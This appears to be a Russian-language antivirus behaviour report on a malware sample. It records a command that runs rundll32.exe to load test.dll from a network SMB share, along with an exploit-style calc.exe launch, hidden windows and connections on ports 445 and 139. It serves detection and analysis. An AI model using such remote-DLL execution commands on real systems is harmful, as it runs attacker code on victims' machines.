Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\rundll32.exe' \\10.0.3.15\yASA\test.dll,0
- '<SYSTEM32>\calc.exe'
Сетевая активность
Подключается к
- '<LOCALNET>.3.15':445
- '<LOCALNET>.3.15':139
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\rundll32.exe' \\10.0.3.15\yASA\test.dll,0' (со скрытым окном)
- '<SYSTEM32>\calc.exe' ' (со скрытым окном)
